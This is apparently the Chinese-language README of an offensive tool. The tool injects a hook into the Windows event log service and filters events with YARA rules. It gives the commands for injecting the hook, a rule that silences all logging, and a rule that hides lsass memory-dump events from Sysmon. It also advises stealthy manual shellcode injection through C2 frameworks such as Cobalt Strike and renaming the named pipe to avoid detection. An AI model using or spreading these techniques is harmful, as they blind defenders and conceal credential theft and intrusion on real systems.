这是一个工具,允许你以攻击性方式使用 YARA 对 Windows 事件日志报告的事件应用过滤器。
从这里获取最新版本。EvtMuteHook.dll 包含核心功能;注入后,它会应用一个临时过滤器,允许所有事件被报告。该过滤器可以动态更新,无需重新注入。我编写了 SharpEvtMute.exe,它是一个 C# 程序集,可以通过 shad0w 中的 execute 或 cobalt strike 中的 execute-assembly 轻松运行。我将用 C 编写一个原生版本,以便与 shad0w 更好地集成。
一个简单的用例是全局禁用事件日志。为此,我们可以使用以下 YARA 规则。
rule disable { condition: true }
我们首先需要将钩子注入到事件服务中。
.\SharpEvtMute.exe --Inject

现在钩子已放置,我们可以添加过滤器。
.\SharpEvtMute.exe --Filter "rule disable { condition: true }"

现在所有事件都将被事件服务丢弃。
过滤器可以动态更改,无需重新注入钩子。这使得更新活动过滤器变得快速而简单。
一个更复杂过滤器的示例如下。它能够阻止与 lsass 内存转储相关的事件被 sysmon 报告。
rule block_lsass_dump {
meta:
author = "@_batsec_"
description = "Prevent lsass dumping being reported by sysmon"
strings:
$provider = "Microsoft-Windows-Sysmon"
$image = "lsass.exe" nocase
$access = "GrantedAccess"
$type = "0x1fffff"
condition:
all of them
}
对于如此复杂的规则,很难将其浓缩为一行。这就是为什么我增加了传递 base64 编码规则的能力。
在 Linux 命令行下,可以轻松将规则转换为 base64:
base64 -w 0 YaraFilters/lsassdump.yar | echo $(</dev/stdin)
然后使用 --Encoded 标志将其作为过滤器传递

注入钩子时,SharpEvtMute.exe 会调用 CreateRemoteThread,这个调用是在钩子放置之前进行的,因此会被 Sysmon 报告。这是因为 SharpEvtMute.exe 的注入功能仅应用作 PoC。当隐蔽性很重要时,我建议手动将 EvtMuteHook.dll 注入事件日志服务。
可以通过运行 SharpEvtMute.exe --Pid 找到它的 PID。可以通过你选择的 C2 框架(例如 shad0w 中的 shinject)手动注入 shellcode(在 EvtMuteBin 目录下运行 make)来放置钩子。
另外值得一提的是,钩子会使用一个命名管道来更新过滤器。该命名管道名为 EvtMuteHook_Rule_Pipe(此名称可以轻松更改)。钩子中硬编码了一条规则,确保包含此名称的任何事件都会被自动丢弃,但管道处于监听状态仍是一个 IOC,因此我建议更改它。
如果你创建了一些有用的过滤器,请随时向 YaraFilters 目录提交 pull request。如果能有一个良好的过滤器集合来隐藏常见操作,让大家都能受益,那就太好了。